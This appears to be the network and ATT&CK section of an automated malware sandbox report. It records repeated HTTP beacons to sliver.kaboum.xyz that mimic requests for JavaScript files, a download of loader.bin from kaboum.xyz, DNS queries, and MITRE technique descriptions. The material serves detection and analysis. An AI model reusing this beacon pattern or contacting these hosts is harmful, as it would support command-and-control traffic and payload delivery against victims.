Source: global traffic	HTTP traffic detected: GET /array.js?k=27362561 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/javascripts/backbone.js?m=592372t20 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/script/jscript/jscript/app.js?c=81295133 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script/umd/jscript/script/umd/app.js?p=2v1499328 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/javascripts/js/backbone.js?j=53g331447 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/jscript/javascripts/javascript/backbone.js?n=8f418919 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/jscript/javascript/jscript/script/backbone.js?v=84539617 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/umd/js/javascript/javascript/app.min.js?_=4567r497t2 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/javascripts/js/app.min.js?u=297s61600 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/javascripts/jscript/backbone.js?s=8x22o52328 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /array.js?t=s877e48243 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/js/js/js/jscript/array.js?x=61443060 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /umd/umd/umd/array.js?u=7966a1472 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/javascript/javascript/jscript/backbone.js?z=22417500 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script/array.js?x=9718174h0 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script/javascripts/jscript/javascript/js/app.min.js?e=27952824 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /umd/app.min.js?k=9h6771280 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /umd/app.min.js?y=16611822 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /array.js?_=g661402p67 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /app.min.js?j=77b347985 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip

Source: global traffic	HTTP traffic detected: GET /artdonjon/loader.bin HTTP/1.1accept: /host: kaboum.xyz
Source: global traffic	HTTP traffic detected: GET /javascript/script/javascripts/javascript/app.min.js?k=100708pl054 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/javascript/script/javascripts/javascript/app.js?k=56j965629 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/js/script.js?p=943p34348 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/script/javascript/array.js?y=113v858r22 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /array.js?k=27362561 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/javascripts/backbone.js?m=592372t20 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/script/jscript/jscript/app.js?c=81295133 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script/umd/jscript/script/umd/app.js?p=2v1499328 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/javascripts/js/backbone.js?j=53g331447 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/jscript/javascripts/javascript/backbone.js?n=8f418919 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/jscript/javascript/jscript/script/backbone.js?v=84539617 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/umd/js/javascript/javascript/app.min.js?_=4567r497t2 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/javascripts/js/app.min.js?u=297s61600 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/javascripts/jscript/backbone.js?s=8x22o52328 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /array.js?t=s877e48243 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/js/js/js/jscript/array.js?x=61443060 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /umd/umd/umd/array.js?u=7966a1472 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/javascript/javascript/jscript/backbone.js?z=22417500 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script/array.js?x=9718174h0 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script/javascripts/jscript/javascript/js/app.min.js?e=27952824 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /umd/app.min.js?k=9h6771280 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /umd/app.min.js?y=16611822 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /array.js?_=g661402p67 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /app.min.js?j=77b347985 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: kaboum.xyz
Source: global traffic	DNS traffic detected: DNS query: sliver.kaboum.xyz

Source:	DNS query: kaboum.xyz
Source:	DNS query: sliver.kaboum.xyz

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

